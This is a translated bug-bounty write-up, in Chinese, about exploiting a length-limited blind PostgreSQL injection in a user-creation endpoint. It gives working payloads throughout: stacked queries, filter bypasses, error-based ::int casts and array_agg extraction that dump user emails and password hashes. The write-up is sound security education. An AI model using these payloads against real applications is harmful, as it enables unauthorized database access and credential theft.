本文为翻译文章,原文链接:https://www.shawarkhan.com/2020/11/exploiting-blind-postgresql-injection.html
父老乡亲们大家晚上好,我是 Shawar Khan,距离上次writeup已有些时日,近日偶有小成,post出来跟大家分享一下。
想跟大家分享很多新东西,但是本篇文章只是披露其中一个Web应用程序,该程序基于python开发。由于这是SYNACK上(一个漏洞赏金平台)的目标,所以我会把目标替换为redacted.com
或Redacted Org
。
由于该平台评价规则是质量为上,这意味着最好的质量报告才能获胜,所以我的重点是编写具有最大影响力的最佳报告。
只允许访问特定的站点,例如staging.sub.redacted.com/endpoint/
:
设置高级范围
勾选“在目标范围内”,仅收集相关流量。
选项is in target scope
(是否在目标范围)已打勾,因此将仅拦截目标范围内的域名流量。
staging.sub.redacted.com
站点的功能非常有限,分析Burp Suite历史记录中的流量后,发现一个页面负责对网页进行更改和更新,该页面位于staging.sub.redacted.com/endpoint/_dash-update-component
下,接收大量POST请求,并且每个请求都有唯一的JSON响应。这点证实了该页面包含了不同的函数,可以处理不同的数据。
该应用程序用户分两种:Admin和User。admin用户能够添加新用户并进行一些其他的更改,后来我发现提权之后user账户也可以创建新用户(这里译者觉得是说发现了越权之类的漏洞的意思吧)。
用户创建功能由_dash-update-component
模块完成,具体请求如下:
POST /endpoint/_dash-update-component HTTP/1.1
Host: staging.sub.redacted.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-CSRFToken: undefined
Origin: https://staging.sub.redacted.com
Content-Length: 710
Connection: close
Cookie: REDACTED
{"output":"createUserSuccess.children","outputs":{"id":"createUserSuccess","property":"children"},"inputs":[{"id":"createUserButton","property":"n_clicks","value":1},{"id":"newUsername","property":"n_submit","value":0},{"id":"newPwd1","property":"n_submit","value":0},{"id":"newPwd2","property":"n_submit","value":0},{"id":"newEmail","property":"n_submit","value":0}],"changedPropIds":["createUserButton.n_clicks"],"state":[{"id":"newUsername","property":"value","value":"test1"},{"id":"newPwd1","property":"value","value":"test123123123"},{"id":"newPwd2","property":"value","value":"test123123123"},{"id":"newEmail","property":"value","value":"[email protected]"},{"id":"role","property":"value","value":"dp"}]}
上面请求发出后,响应如下:(确认已创建新用户)
HTTP/1.1 200 OK
Date: Fri, 20 Nov 2020 20:53:18 GMT
Content-Type: application/json
Content-Length: 192
Connection: close
{"response": {"createUserSuccess": {"children": {"props": {"children": ["New User created"], "className": "text-success"}, "type": "Div", "namespace": "dash_html_components"}}}, "multi": true}
为了进一步测试,尝试再次发送相同的请求并收到以下响应:
HTTP/1.1 200 OK
Date: Fri, 20 Nov 2020 20:53:12 GMT
Content-Type: application/json
Content-Length: 350
Connection: close
{"response": {"createUserSuccess": {"children": {"props": {"children": ["New User not created: (psycopg2.errors.DuplicateSchema) schema \"test1\" already exists\n\n[SQL: CREATE SCHEMA test1]\n(Background on this error at: http://sqlalche.me/e/f405)"], "className": "text-danger"}, "type": "Div", "namespace": "dash_html_components"}}}, "multi": true}
尝试再次创建test1用户后,会收到一条错误消息,指出未创建新用户:New User not created: (psycopg2.errors.DuplicateSchema) schema \"test1\" already exists\n\n[SQL: CREATE SCHEMA test1]
。该错误似乎是由于缺少try/except
导致的Python异常。如果把try / except
写成except(Exception)
,则程序不会返回任何异常(此处不是这种用法)。
这里使用的python模块是psycopg2
,我不是很熟悉,查询相关资料后发现,这是PostgreSQL数据库的数据库适配器模块,确认该应用程序运行的是PostgreSQL数据库。此外,该异常泄漏了查询信息CREATE SCHEMA test1
,而这个test1
是我创建的用户名。这表明:我的输入从newUsername
对象的值中检索后直接传递给了SQL查询。
因此,我立马掏出sqlmap,将risk & level
设置为3,不幸的是并没有跑出来,只能无奈手工注入。
目前已知的是,如果将用户名创建为testuser1; TEST
,应用程序将创建一个名称为testuser1
的用户,但会抛出语法错误,从而确认TEST
作为查询单独执行,因此我确信存在SQL注入。
New User not created: (psycopg2.errors.SyntaxError) syntax error at or near \"TEST\"\nLINE 1: CREATE SCHEMA testuser1;TEST...\n
请求中加入单引号或双引号后,程序以未封闭的引号错误进行响应,由此可以确认我们的输入没有被包裹在引号中。为了执行新查询,必须首先使用;
来关闭第一个查询。因此,我尝试将用户名创建为test1 AND SELECT version()
,但是发现程序将空格转换为_
,因此我的用户名变为test1_and_select_version()
,再次失败。
一个简单的绕过策略是使用注释而不是空格。我将所有空格都转换为/**/
,但同样被拦截。经过进一步的测试,我发现了一种绕过思路。在python中,\n
,\r
或\t
等字符可用于换行和制表符,同时也能够将它们用作查询的分隔符。
但是,我收到了两种情况的响应:应用程序要么创建了新用户,要么返回了错误消息,但是都没有返回version()的结果。并且,如果成功执行了第一个查询,第二个查询才有效,因此必须确保创建的用户名不存在,否则查询将失败。
为了提高效率,我尝试查看是否使用脏字符来枚举表,例如
test111111;SELECT/**/tessssooooooooooooootessssoooooooooooooooooooooooooooooooooooooooo;
程序返回的错误信息如下:
INSERT INTO userdata (username, email, password, roles) VALUES
(%(username)s, %(email)s, %(password)s, %(roles)s) RETURNING
userdata.id]\n[parameters: {'username':
'test111111;SELECT/**/tessssooooooooooooootessssoooooooooooooooooooooooooooooooooooooooo;',
'email': '[email protected]', 'password':
'sha256$QY0iWLnG$17f.......',
'roles': 'dp'
返回的错误消息是未创建“新用户”,因为字符串过长(总长限制为80字符):New User not created: (psycopg2.errors.StringDataRightTruncation) value too long for type character varying(80)
,再一步受挫。
由于我熟悉级联绕过(concatenation bypasses),但是所有其他页面都没有返回未经过滤的值或原始值,因为它们中的大多数都包裹在引号中,而引号已正确转义,因此级联绕过也不可用。
从公开查询中,我找到了具有所有注册用户的表userdata所对应的列,下文会对此进行说明。
时间紧迫,之后开始枚举表名。使用payload为test1111;SELECT/**/version/**/from/**/existornot;
,我能够确定一个表是否存在。如果表不存在,则应用程序返回错误消息psycopg2.errors.UndefinedTable) column \"existornot\" does not exist
;如果表存在,则应用程序返回psycopg2.errors.UndefinedColumn) column \"version\" does not exist
表明对应的列不存在。
在尝试了每个查询并绕过之后发现,即使使用了SELECT语句,我也无法检索信息,并且一切都以语法错误或用户创建的错误结束。原因可能是从CREATE SCHEMA
上下文转义后,第三个查询失败。
我将此漏洞报告为有限的blind SQL注入,可以枚举表和列,并请求允许进一步利用。在访问某些内容之前,最好先征得许可,因为如果未经许可,这样做可能会造成麻烦。
幸运的是,我的报告赢得了质量准则,并获得了进一步利用的许可。在测试期间,我发现了一些很有趣的东西,那就是该应用程序如何在可用列和表上泄露一些蛛丝马迹。我使用查询语句为teb2;SELECT/**/password/**/from/**/pg_user;
,应用程序响应为:
{
"multi": true,
"response": {
"createUserSuccess": {
"children": {
"type": "Div",
"props": {
"className": "text-danger",
"children": [
"New User not created: (psycopg2.errors.UndefinedColumn) column \"password\" does not exist\nLINE 1: CREATE SCHEMA t12;SELECT/**/password/**/from/**/pg_user;\n ^\nHINT: Perhaps you meant to reference the column \"pg_user.passwd\".\n\n[SQL: CREATE SCHEMA t12;SELECT/**/password/**/from/**/pg_user;]\n(Background on this error at: http://sqlalche.me/e/f405)"
]
},
"namespace": "dash_html_components"
}
}
}
}
该应用程序提供了一条提示:Perhaps you meant to reference the column \"pg_user.passwd\"(也许您打算引用列 \"pg_user.passwd\")
,该列公开了与password
相似的可用列passwd
。在枚举时在后面加个+
,还可以枚举出相似的列或表。
在过去的几年中,我研究了与类型转换有关的内容,其中用户输入被转换为不可能的类型,从而造成了信息泄露。由于目前无法获取任何数据,我研究了与类型转换有关的内容,发现PostgreSQL有一个名为CAST()的函数可用于转换数据类型。为了引起异常以便造成信息泄露,我想将列数据转换为INTEGER。
为了查询当前的数据库版本,我尝试了如下查询语句:test11a1111;SELECT/**/CAST(version()/**/AS/**/INTEGER);
,结果出来了,大家快康:
收到响应为:PostgreSQL 12.3 on x86_64-pc-linux-gnu, compiled by gcc (GCC) 4.8.3 20140911 (Red Hat 4.8.3-9), 64-bit
,由数据类型转换失败而引起。直到此刻才取得较大的进展(不知道接下来还要面对什么挑战,哈哈)。
使用CAST()函数也遇到麻烦,之前是限制了80个字符的输入,而使用 CAST()进行查询时,最多只能查询了45个字符:
>>>
>>> len("t;SELECT/**/CAST(version()/**/AS/**/INTEGER);")
45
>>>
在Google上搜索CAST()的替代用法后,我发现仅通过使用::int
即可转换数据类型,而::int
比CAST()查询短得多。查询 t;SELECT\nversion()::int
返回相同的响应,但字符长度短很多。
>>> len("t;SELECT\nversion()::int")
23
>>>
使用\n
代替/**/
并使用::int
代替CAST()
,节省了大量字符长度,有助于进一步渗透。
目前能够从version(),current_user等命令中获取单个值,现在是时候检索表信息了。
接下来,我想检索所有可用的表名,然后尝试访问pg_catalog.pg_tables
(该表包含所有可用表名)。查询语句为:tc;SELECT\n(select\ntablename\nfrom\npg_catalog.pg_tables\nlimit\n2)::integer
,响应如下:
收到一个错误 :New User not created: (psycopg2.errors.CardinalityViolation) more than one row returned by a subquery used as an expression\n\n[SQL: CREATE SCHEMA
,表明不允许多行。如果查询返回的是数据库列表,则由于对基数的某些违反,应用程序不会显示它们。
随后尝试使用limit
和offset
,这样我就可以检索特定的行并将输入限制为单行,可以正常工作!我能够检索名为userconfig
的表:
使用查询语句tc;SELECT\n(select\ntablename\nfrom\npg_catalog.pg_tables\nlimit\n1\noffset\n3)::integer
返回上面的输出。这是一个受限的情况,其中最大表长度是13,我想列出所有可用表:
>>> len("tc;SELECT\n(select\ntablename\nfrom\npg_catalog.pg_tables\nlimit\n1\noffset\n3)::integer")
80
>>> len("tc;SELECT\n(select\ntablename\nfrom\npg_catalog.pg_tables\nlimit\n1\noffset\n3)::int")
76
我搜寻了可用于将多行转换为单行的技术和方法,就跟group_concat
函数,却又不占用太多的字符长度。经过研究,我想出了array_to_string
函数和array_agg
函数。使用array_agg
函数来转换所有返回的行,它会返回一个数组;使用array_to_string
函数将返回的数组转换为字符串。综上,查询语句为b2;select\narray_to_string(array_agg(datname),',')::int\nfrom\npg_database;
,我能够获得可用数据库名称的列表:
为了检索表列表,使用查询语句为b2;select\narray_to_string(array_agg(tablename),',')::int\nfrom\npg_tables;
(长度为72):
我们已经知道通过查询公开发现的列名和表名userdata,如果访问它以证明可以访问用户数据可还行?
长度限制仍然是一个问题,但是我仍然能够检索所有可用的数据库,表和列。通过使用查询语句为t3;SELECT\n(select\nemail\nfrom\nuserdata\nlimit\n1\noffset\n5)::int
,应用程序返回了偏移量为5的用户电子邮件地址,所以我使用了offset转储了具有数百个用户的整个表:
使用t3;SELECT\n(select\npassword\nfrom\nuserdata\nlimit\n1\noffset\n5)::int
返回了SHA256的用户密码哈希值:
就是这样了!已经能够访问所有信息,并且利用此漏洞,我能够删除,创建和修改任何表。对于所有在那里花时间学习新知识或怀疑自己的技能而又没有发现任何漏洞的人们,只要记住:世上无难事,只怕有心人!
在撰写报告时,我虽然只限于表和列的枚举,但是花了11个小时的渗透测试后,我才能达到这种地步。但是由于缺少授权,我无法获得系统访问权限,但是已经得到了我想要的东西。
最后得到了3000刀赏金。
The end